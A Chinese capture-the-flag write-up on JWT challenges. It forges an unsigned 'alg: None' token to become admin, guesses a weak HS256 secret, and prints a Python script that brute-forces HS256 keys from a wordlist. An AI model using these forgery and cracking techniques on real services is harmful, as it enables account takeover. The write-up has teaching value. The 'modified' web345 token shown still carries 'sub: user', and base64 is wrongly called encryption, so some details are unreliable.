基础知识
jwt是由三部分构成的,第一部分是头部(header),第二部分是载荷(payload),第三部分为签证(signature)
- 头部
头部声明了类型和加密方法,如下
{
'typ': 'JWT',
'alg': 'HS256'
}
然后将头部进行base64加密后去掉=
号,构成第一部分
ewogICd0eXAnOiAnSldUJywKICAnYWxnJzogJ0hTMjU2Jwp9
-
载荷
和头部结构类似,但存放的是数据 -
签证
jwt的第三部分是一个签证信息,这个签证信息由三部分组成:
header (base64后的)
payload (base64后的)
secret
这个部分需要base64加密后的header和base64加密后的payload使用.连接组成的字符串,然后通过header中声明的加密方式进行加盐secret组合加密,然后就构成了jwt的第三部分。
web345
jwt:
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2Mjc4NzIwMDMsImV4cCI6MTYyNzg3OTIwMywibmJmIjoxNjI3ODcyMDAzLCJzdWIiOiJ1c2VyIiwianRpIjoiMThhN2UzY2M2ZmNiZTM0ZGU3NzFkYjY0ZWUzZjk5NTcifV0
在jwt.io转换后,发现不存在第三部分的签证,也就不需要知道密钥
HEADER
{
"alg": "None",
"typ": "jwt"
}
PAYLOAD
[
{
"iss": "admin",
"iat": 1627872003,
"exp": 1627879203,
"nbf": 1627872003,
"sub": "user",
"jti": "18a7e3cc6fcbe34de771db64ee3f9957"
}
]
只要把sub中的user
换成admin
后在base64加密,然后访问/admin/
即可
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2Mjc4NzIzNDIsImV4cCI6MTYyNzg3OTU0MiwibmJmIjoxNjI3ODcyMzQyLCJzdWIiOiJ1c2VyIiwianRpIjoiMDM1YmI4YjVhMTNhZDhjYzgxOGFiODE0MGM3YjBiMGUifV0
web346-347
jwt:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYyNzg3MzYzMiwiZXhwIjoxNjI3ODgwODMyLCJuYmYiOjE2Mjc4NzM2MzIsInN1YiI6InVzZXIiLCJqdGkiOiJmNTRmNjQ1ZDA0ZTkxNzIzYWQyZWIxYmRjNmRiNjU5ZCJ9.vSZdnZzD-ESw-l8HJvPWJ0Tc7yshkK43BlWjVWwHcgA
解密后发现是hs256加密,还是把sub中的user
改成admin
,然后盲猜一手密钥123456
发现成功。
web348
看提示说要爆破,可以先生成一个1到4位的英文字典,然后用群主的脚本来爆破
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-05-06 16:34:57
# @Last Modified by: h1xa
# @Last Modified time: 2021-05-06 19:34:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
import jwt
import json
def runblasting(path,jwt_str,alg):
if alg == "none":
alg = "HS256"
with open(path,encoding='utf-8') as f:
for line in f:
key_ = line.strip()
print(' use '+key_)
try:
jwt.decode(jwt_str,verify=True,key=key_,algorithms=alg)
print('found key! --> ' + key_)
break
except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
print('found key! --> ' + key_)
break
except(jwt.exceptions.InvalidSignatureError):
continue
else:
print("key not found!")
if __name__ == '__main__':
runblasting('key.txt','eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYyNzg3NjQ4MCwiZXhwIjoxNjI3ODgzNjgwLCJuYmYiOjE2Mjc4NzY0ODAsInN1YiI6InVzZXIiLCJqdGkiOiJjMGYzODkwMmE1ODE4ZjhlMjM5Yzg3N2EwNzZmNmU5MCJ9.o68KTTbu7V2enU4dXXASeJs6rJbNbVbLtoEqC_WMqBo','HS256')